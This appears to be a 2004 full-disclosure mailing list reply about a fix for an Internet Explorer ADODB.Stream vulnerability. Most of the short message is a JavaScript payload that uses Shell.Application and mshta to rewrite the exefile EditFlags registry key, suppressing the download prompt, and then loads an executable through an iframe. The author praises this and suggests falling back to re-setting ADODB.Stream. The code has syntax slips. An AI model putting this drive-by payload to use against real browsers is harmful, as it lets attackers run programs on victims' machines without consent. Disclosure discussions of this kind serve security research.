full-disclosure - Betr.: Re: Fix for IE ADODB.Stream vulnerability is out

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Message-ID: <200407030144.i631iUpX004163@web176.megawebservers.com>
From: 1 at malware.com (http-equiv@...ite.com)
Subject: Betr.: Re: Fix for IE ADODB.Stream vulnerability is out

  <!--

ActiveXObject("Shell.Application");
obj.ShellExecut("mshta.exe","about:<script>var wsh=new 
ActiveXObject('WScript.Shell');wsh.RegWrite
('HKCR\exefile\EditFlags', 0x38070000, "REG_BINARY");)
</script><iframe src=foo.exe>");

 -->

On quick reflection, I completely missed Matthew's point. It's 
brilliant. If you can indeed kill the download dialog, kill it, 
stick a frame in it and bang. If it doesn't work, use the 
regWrite and re-set the adodb.stream instead, and continue on 
your merry way. 

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